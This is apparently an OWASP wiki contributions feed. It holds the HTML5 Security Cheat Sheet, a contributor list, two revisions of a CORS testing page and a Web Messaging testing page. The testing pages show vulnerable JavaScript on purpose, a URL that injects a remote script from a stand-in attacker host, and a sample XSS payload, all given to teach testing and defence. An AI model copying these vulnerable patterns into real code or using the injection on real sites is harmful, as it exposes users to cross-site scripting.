OWASP - User contributions [en]

HTML5 Security Cheat Sheet

2015-07-24T12:51:36Z

Jgaliana: /* Authors and Primary Editors */

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion.

= Communication APIs =

== Web Messaging ==

Web Messaging (also known as Cross Domain Messaging) provides a means of messaging between documents from different origins in a way that is generally safer than the multiple hacks used in the past to accomplish this task. However, there are still some recommendations to keep in mind:

* When posting a message, explicitly state the expected origin as the second argument to <tt>postMessage</tt> rather than <tt>*</tt> in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing.
* The receiving page should '''always''':
** Check the <tt>origin</tt> attribute of the sender to verify the data is originating from the expected location.
** Perform input validation on the <tt>data</tt> attribute of the event to ensure that it's in the desired format.
* Don't assume you have control over the <tt>data</tt> attribute. A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] flaw in the sending page allows an attacker to send messages of any given format.
* Both pages should only interpret the exchanged messages as '''data'''. Never evaluate passed messages as code (e.g. via <tt>eval()</tt>) or insert it to a page DOM (e.g. via <tt>innerHTML</tt>), as that would create a DOM-based XSS vulnerability. For more information see [[DOM based XSS Prevention Cheat Sheet|DOM based XSS Prevention Cheat Sheet]].
* To assign the data value to an element, instead of using a insecure method like <tt>element.innerHTML = data;</tt>, use the safer option: <tt>element.textContent = data;</tt>
* Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: <tt> if(message.orgin.indexOf(".owasp.org")!=-1) { /* ... */ }</tt> is very insecure and will not have the desired behavior as <tt>www.owasp.org.attacker.com</tt> will match.
* If you need to embed external content/untrusted gadgets and allow user-controlled scripts (which is highly discouraged), consider using a JavaScript rewriting framework such as [http://code.google.com/p/google-caja/ Google Caja] or check the information on [[#Sandboxed frames|sandboxed frames]].

== Cross Origin Resource Sharing ==

* Validate URLs passed to <tt>XMLHttpRequest.open</tt>. Current browsers allow these URLs to be cross domain; this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs.
* Ensure that URLs responding with <tt>Access-Control-Allow-Origin: *</tt> do not include any sensitive content or information that might aid attacker in further attacks. Use the <tt>Access-Control-Allow-Origin</tt> header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain.
* Allow only selected, trusted domains in the <tt>Access-Control-Allow-Origin</tt> header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use <tt>*</tt> wildcard nor blindly return the <tt>Origin</tt> header content without any checks).
* Keep in mind that CORS does not prevent the requested data from going to an unauthenticated location. It's still important for the server to perform usual [[Cross-Site Request Forgery (CSRF)|CSRF]] prevention.
* While the RFC recommends a pre-flight request with the <tt>OPTIONS</tt> verb, current implementations might not perform this request, so it's important that "ordinary" (<tt>GET</tt> and <tt>POST</tt>) requests perform any access control necessary.
* Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs.
* Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.

== WebSockets ==

* Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and older are outdated and insecure.
* The recommended version supported in latest versions of all current browsers is [http://tools.ietf.org/html/rfc6455 RFC 6455] (supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50, and IE10).
* While it's relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross Site Scripting attack. These services might also be called directly from a malicious page or program.
* The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred.
* Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON, never use the insecure eval() function; use the safe option JSON.parse() instead.
* Endpoints exposed through the <tt>ws://</tt> protocol are easily reversible to plain text. Only <tt>wss://</tt> (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks.
* Spoofing the client is possible outside a browser, so the WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered.
* When implementing servers, check the <tt>Origin:</tt> header in the Websockets handshake. Though it might be spoofed outside a browser, browsers always add the Origin of the page that initiated the Websockets connection.
* As a WebSockets client in a browser is accessible through JavaScript calls, all Websockets communication can be spoofed or hijacked through [[Cross Site Scripting Flaw|Cross Site Scripting]]. Always validate data coming through a WebSockets connection.

== Server-Sent Events ==

* Validate URLs passed to the <tt>EventSource</tt> constructor, even though only same-origin URLs are allowed.
* As mentioned before, process the messages (<tt>event.data</tt>) as data and never evaluate the content as HTML or script code.
* Always check the origin attribute of the message (<tt>event.origin</tt>) to ensure the message is coming from a trusted domain. Use a whitelist approach.

= Storage APIs =

== Local Storage ==

*Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.
*Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed.
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage.
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into these objects too, so don't consider objects in these to be trusted.
*Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice.
*Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the <tt>httpOnly</tt> flag.
*There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead.

== Client-side databases ==

* On November 2010, the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed, which provides key/value database storage and methods for performing advanced queries.
* Underlying storage mechanisms may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.
* If utilized, WebDatabase content on the client side can be vulnerable to SQL injection and needs to have proper validation and parameterization.
* Like Local Storage, a single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into a web database as well. Don't consider data in these to be trusted.

= Geolocation =

* The Geolocation RFC recommends that the user agent ask the user's permission before calculating location. Whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling <tt>getCurrentPosition</tt> or <tt>watchPosition</tt>.

= Web Workers =

* Web Workers are allowed to use <tt>XMLHttpRequest</tt> object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security.
* While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input.
* Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a [[DOM Based XSS|DOM Based XSS]] vulnerability.

= Sandboxed frames =

* Use the <tt>sandbox</tt> attribute of an <tt>iframe</tt> for untrusted content.
* The <tt>sandbox</tt> attribute of an <tt>iframe</tt> enables restrictions on content within a <tt>iframe</tt>. The following restrictions are active when the <tt>sandbox</tt> attribute is set:
*# All markup is treated as being from a unique origin.
*# All forms and scripts are disabled.
*# All links are prevented from targeting other browsing contexts.
*# All features that triggers automatically are blocked.
*# All plugins are disabled.

It is possible to have a [http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox fine-grained control] over <tt>iframe</tt> capabilities using the value of the <tt>sandbox</tt> attribute.

* In old versions of user agents where this feature is not supported, this attribute will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.
* Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header <tt>X-Frame-Options</tt> which supports the <tt>deny</tt> and <tt>same-origin</tt> values. Other solutions like framebusting <tt>if(window!== window.top) { window.top.location = location; }</tt> are not recommended.

= Offline Applications =

* Whether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted varies from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any <tt>manifest</tt> file.
* Users should only cache trusted websites and clean the cache after browsing through open or insecure networks.

= Progressive Enhancements and Graceful Degradation Risks =

* The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the <video> tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed.

= HTTP Headers to enhance security =

== X-Frame-Options ==

* This header can be used to prevent ClickJacking in modern browsers.
* Use the <tt>same-origin</tt> attribute to allow being framed from urls of the same origin or <tt>deny</tt> to block all. Example: <tt>X-Frame-Options: DENY</tt>
* For more information on Clickjacking Defense please see the [[Clickjacking Defense Cheat Sheet]].

== X-XSS-Protection ==

* Enable XSS filter (only works for Reflected XSS).
* Example: <tt>X-XSS-Protection: 1; mode=block</tt>

== Strict Transport Security ==

* Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks).
* Use includeSubDomains.
* Example: Strict-Transport-Security: max-age=8640000; includeSubDomains

== Content Security Policy ==

* Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting.
* Example: X-Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com

== Origin ==

* Sent by CORS/WebSockets requests.
* There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose.

= Authors and Primary Editors =

{|class="wikitable"
! First !! Last !! Email
|-
| Mark || Roxberry || mark.roxberry [at] owasp.org
|-
| Krzysztof || Kotowicz || krzysztof [at] kotowicz.net
|-
| Will || Stranathan || will [at] cltnc.us
|-
| Shreeraj || Shah || shreeraj.shah [at] blueinfy.net
|-
| Juan || Galiana Lara || jgaliana [at] owasp.org
|}

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

OWTGv4 Contributors list

2013-12-30T11:23:25Z

Jgaliana:

'''Proposed Contributors team (DRAFT):''' 
> Matteo Meucci 
> Pavol Luptak 
> Marco Morana 
> Giorgio Fedon 
> Stefano Di Paola 
> Gianrico Ingrosso 
> Giuseppe Bonfà 
> Roberto Suggi Liverani 
> Robert Smith 
> Andrew Muller 
> Robert Winkel 
> tripurari rai 
> Thomas Ryan 
> tim bertels 
> Cecil Su 
> Aung KhAnt 
> Norbert Szetei 
> michael.boman 
> Wagner Elias 
> Kevin Horvat 
> Juan Galiana Lara 
> Sumit Siddharth 
> Mike Hryekewicz 
> psiinon 
> Ray Schippers 
> Raul Siles 
> Jayanta Karmakar 
> Brad Causey 
> Vicente Aguilera 
> Ismael Gonçalves 
> David Fern 
> Tom Eston 
> Kevin Horvath 
> Rick.Mitchell 
> Eduardo Castellanos 
> Simone Onofri 
> Harword Sheen 
> Amro AlOlaqi 
> Suhas Desai 
> Ryan Dewhurst 
> Zaki Akhmad 
> Davide Danelon 
> Alexander Antukh 

 
'''Proposed Reviewers team (DRAFT):''' 
 
> Paolo Perego 
> Daniel Cuthbert 
> Matthew Churcher 
> Lode Vanstechelman 
> Sebastien Gioria 
> Antonio Fontes

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-12-15T19:19:16Z

Jgaliana: minor change

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.

Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
Blackbox testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==

Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:

'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' 
 
Request (note the 'Origin' header:) 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:) 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>
 
[[File:CORS-example.png]]
 
== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-12-15T19:14:18Z

Jgaliana: minor addition

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.

Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
Blackbox testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==

Check HTTP headers in order to understand how CORS is used, in particular the Origin header to see which domains are allowed. Also, manual inspection of the JavaScript code is needed to determine if it is vulnerable to code injection vulnerable due to improper handling of user supplied input. Below are some examples:

'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' 
 
Request (note the 'Origin' header:) 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:) 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>
 
[[File:CORS-example.png]]
 
== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Web Messaging (OTG-CLIENT-011)

2013-12-15T19:11:15Z

Jgaliana: minor formatting

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running on different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.
 
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:
 
data: The content of the incoming message 
origin: The origin of the sender document 
source: source window 

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

=== Origin Security Concept ===
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always be verified prior data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==
Blackbox testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==

Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:

Vulnerable code example:

<pre>
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being treated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html

'''Tools'''
